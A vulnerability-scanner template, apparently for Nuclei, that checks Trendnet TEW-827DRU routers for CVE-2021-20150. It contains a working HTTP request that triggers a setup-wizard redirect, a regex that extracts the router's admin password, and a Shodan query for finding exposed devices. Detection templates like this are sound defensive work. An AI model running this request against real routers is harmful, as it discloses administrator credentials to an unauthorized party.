63 lines
2.0 KiB
YAML
63 lines
2.0 KiB
YAML
id: CVE-2021-20150
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info:
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name: Trendnet AC2600 TEW-827DRU - Credentials Disclosure
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author: gy741
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severity: medium
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description: Trendnet AC2600 TEW-827DRU version 2.08B01 improperly discloses information via redirection from the setup wizard. A user may view information as Admin by manually browsing to the setup wizard and forcing it to redirect to the desired page.
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remediation: |
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Update the router firmware to the latest version to fix the vulnerability.
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reference:
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- https://www.tenable.com/security/research/tra-2021-54
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- https://nvd.nist.gov/vuln/detail/CVE-2021-20150
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
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cvss-score: 5.3
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cve-id: CVE-2021-20150
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cwe-id: CWE-306
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epss-score: 0.14411
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epss-percentile: 0.95119
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cpe: cpe:2.3:o:trendnet:tew-827dru_firmware:2.08b01:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: trendnet
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product: tew-827dru_firmware
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shodan-query: http.html:"TEW-827DRU"
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tags: disclosure,router,tenable,cve,cve2021,trendnet
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http:
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- raw:
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- |
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POST /apply_sec.cgi HTTP/1.1
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Host: {{Hostname}}
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action=setup_wizard_cancel&html_response_page=ftpserver.asp&html_response_return_page=ftpserver.asp
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'ftp_username'
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- 'ftp_password'
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- 'ftp_permission'
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- 'TEW-827DRU'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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name: password
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group: 1
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regex:
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- '<input name="admin_passwd" type="password" id="admin_passwd" size="20" maxlength="15" value ="(.*)" />'
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part: body
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# digest: 4b0a0048304602210092358b966f9dbd66964d2c19a83029eb7ae7e4d8e26de3cb8b2ed808b586d3db022100925e0e0f40c5de9f09d2706878df69a256c8976abafe37fe7e1fbc83927318a4:922c64590222798bb761d5b6d8e72950 |